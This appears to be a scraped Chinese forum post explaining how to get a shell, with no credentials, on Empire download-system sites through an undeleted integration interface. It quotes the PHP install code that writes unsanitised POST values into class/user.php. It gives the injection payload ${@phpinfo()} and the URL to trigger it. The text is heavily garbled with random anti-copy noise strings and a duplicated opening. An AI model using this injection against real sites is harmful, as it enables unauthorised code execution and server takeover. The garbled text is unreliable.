这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
" q+ j) N* w, m: |/ d( ]
) A6 m m& u" s6 \4 b( ?9 N" f+ Q+ A4 g+ O& P
这是帝国的一套下载系统 如图
) f; c( A% ?( M/ u* H c' Gps(不需要任何账户和密码,直接写shell)
& D+ X; E" v3 n; ~- p& s/ E. _由于很多站是由于下载要整合discuz 等等一些论坛...." v; f! E" M1 {7 K2 s, d9 ^
% I W- O: Y8 l) g! Z而帝国他又有一个万能接口,如图
" @ Q: j4 v4 a% e- X" R
# U% |1 u( O( }
2 s2 I. w$ `1 P2 u3 A i而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码/ U$ r3 G+ N# g0 I. p
0 d9 n2 C* |7 |* P当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪/ k& B% n! c8 z
% K% r7 `! S, F* j6 c. t" r* t- A4 U/ f
在data/fun.php中的15行
9 J: F7 T b* n/ y' H$ ~2 g, n4 z8 _1 I n
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {* m5 { l4 ~# ~, @ r3 _
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
( H0 t% b: d: ~0 V0 ]7 ~
0 Q% `3 [, \4 m, c' {6 F0 B6 z这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);4 ]1 I! S2 `. B
7 ~1 q3 m4 D4 T1 Y! |3 L; c他将传进来的变量进行了切割,然后赋给了$filetext
/ Z5 x# s& i( U/ C! M+ n1 S
* V: u [ e; I! A然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
$ b9 a% D, u* ?% [, }# b9 X) P% d# e; O# q8 v1 G+ \
我们看看写入的结果,随便填一个
. I$ h% X! [# _7 l4 r2 \ n5 C9 o `# B# e
' R! d4 L/ i7 Z8 b. a* [: m; q4 I* \5 T4 h
5 d# U+ Q4 S$ V6 c4 n8 C2 T C+ [* f
, y5 c5 `' p+ K2 M s
`6 D5 h$ U6 p3 y. I; p
% D+ N; F- ~, `2 u+ m0 H4 H- I' ^
C2 ], i6 j; F/ y9 H, z; `/ B
6 x( g/ c9 |7 q" m- ~
( ?" B3 o* W$ H: R* F7 \- G' }; O$ H2 F/ r
4 w* S$ p+ C2 W' E
1 g" j( L* m G. `4 p. I8 }) r
5 X0 h! o' S: i5 G$ [7 V" d
# _1 j5 o1 D% v& ~, S
8 o3 ?: f1 }$ o. ?0 g5 a* Q b* H6 A4 u
+ R: b1 m' ?: i* ?( P+ }+ Z
* w7 f) `" _6 H1 _2 u$ U
5 l: {2 Y3 l3 h0 s0 P* g0 }4 N# l. j) i% a; e
所以我们淫荡点,写个${@phpinfo()}试试 7 A* Y7 L: |) E( B2 B
然后访问以下class/user.php这个文件
9 @9 T1 u3 p) ]" }日了吧 8 ^. e/ _1 X# }: E
5 l7 j, B% }$ b5 [8 M4 y7 J3 F1 F7 n/ y+ F% i
& v* d1 M$ G5 ~. `. H1 L5 E$ x
E8 p0 v% d, W) _7 j/ x
8 \0 ^5 I3 y0 V# u3 a: K4 |- z |